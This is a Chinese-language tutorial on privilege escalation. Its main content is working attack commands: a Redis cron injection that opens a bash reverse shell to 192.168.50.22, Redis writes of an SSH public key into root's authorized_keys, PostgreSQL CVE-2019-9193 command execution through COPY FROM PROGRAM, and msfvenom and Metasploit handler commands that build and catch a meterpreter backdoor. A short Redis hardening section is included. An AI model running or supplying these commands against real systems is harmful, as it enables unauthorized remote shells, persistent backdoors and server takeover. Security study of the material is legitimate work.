权限提升-Redis&Postgre&令牌窃取&进程注入

QQ截图20220425085155.jpg

QQ截图20220425085223.jpg

Redis数据库权限提升-计划任务

Redis服务因配置不当,可被攻击者恶意利用。黑客借助Redis内置命令,可将现有数据恶意清空;如果redis以root身份运行,黑客可往服务器上写入SSH公钥文件,直接登录服务器。

#先在自己服务器上监听一个端口
nc -lvnp 4444

#redis命令

set xx "\n* * * * * bash -i >& /dev/tcp/192.168.50.22/4444 0>&1\n"
config set dir /var/spool/cron
config set dbfilename root
save

可进行利用的cron有如下几个地方

  • /etc/crontab这个是肯定的
  • /etc/cron.d/*将任意文件写到该目录下,效果和crontab相同,格式也要和/etc/crontab相同.漏洞利用这个目录,可以做到不覆盖任何其他文件的情况进行弹shell
  • /var/spool/cron/rootcentos系统下root用户的cron文件
  • /var/spool/cron/crontabs/rootdebian系统下root用户的cron文件

执行完命令就可以看到写入的命令

QQ截图20220425092405.jpg

等待定时任务的执行,就会获得反弹的shell

QQ截图20220425093336.jpg

同样可以利用redis的文件写入,写入一个ssh-keygen公钥,然后利用私钥登录

#攻击主机
ssh-keygen -t rsa
cat /root/.ssh/id_rsa.pub

#被攻击主机

#将公钥写入x键,用"\n\n\n"包裹住公钥,并且跟公钥之间用空格隔开
set x "\n\n\nssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC9LRzH95MmjAS5OCVl0C4B8ky0AAJU4/tFik54NmgC9fNOgLnxC2XzZg+3Pj3F9JRq0ASiPD8Z7kf7FA4kUQwip7HluuuTzzkpLzm18XSX/3/9O2hBKAYP3dFiJaWb2F+0PwchIXJgdPwRSiQBTsVcMA5es9tylxZY/qz6r6o4hUT7Nw2i390thrjpNjrhb11oJeMb+3TylBnqXbXv1eg10V8tacrmxKCGy/0tpEQQXO/diYOXwDFKdf7ghjuz7O8mLaFNS4PCIg0J3//a4kxhBEq3BTiuHILDKfkl9lOABpetHlETCXwP3bXfe40ErXPSa3BiO50TsUjoJ0kvchJ/ root@localhost.localdomain\n\n\n"

#设置保存路径
config set dir /root/.ssh/
#设置保存文件名
config set dbfilename authorized_keys
save

无需密码直接登录

  • 如果不是root权限且该服务器上有web环境,当然也可以利用redis这个文件写入的能力,写入一个webshell

QQ截图20220425094538.jpg

修复方案

  1. 以低权限运行Redis
  2. 禁止外网访问Redis
#修改redis配置
bind 127.0.0.1
  1. 禁止一些高危命令
#修改 redis.conf 文件,禁用远程修改 DB 文件地址
rename-command FLUSHALL ""
rename-command CONFIG ""
rename-command EVAL ""

#或者通过修改redis.conf文件,改变这些高危命令的名称
rename-command FLUSHALL "name1"
rename-command CONFIG "name2"
rename-command EVAL "name3"

PostgreSQL 高权限命令执行漏洞(CVE-2019-9193)

PostgreSQL 是一款关系型数据库。其9.3到11版本中存在一处“特性”,管理员或具有“COPY TO/FROM PROGRAM”权限的用户,可以使用这个特性执行任意命令

首先使用Navicat工具连接到PostgreSQL数据库

DROP TABLE IF EXISTS cmd_exec;
CREATE TABLE cmd_exec(cmd_output text);
COPY cmd_exec FROM PROGRAM 'id';
SELECT * FROM cmd_exec;

QQ截图20220425101021.jpg

QQ截图20220425101059.jpg

Windows2008&7令牌窃取提升-本地

原理:进行远程过程调用时请求提升权限,然后调用它从而生成特权安全令牌以执行特权操作。当系统允许令牌不仅用于进程本身,还用于原始请求进程时,漏洞就会出现。

  • 生成后门
msfvenom -p windows/meterpreter/reverse_tcp LPORT=1234 LHOST=192.168.50.22 -f exe -o test.exe

监听端口

#进入监听模块
use exploit/multi/handler
#设置payload反弹
set payload windows/meterpreter/reverse_tcp
set lhost 0.0.0.0
set lport 1234
show options
run

仅限管理员权限,如果是普通用户就不行

QQ截图20220425111557.jpg

QQ截图20220425111644.jpg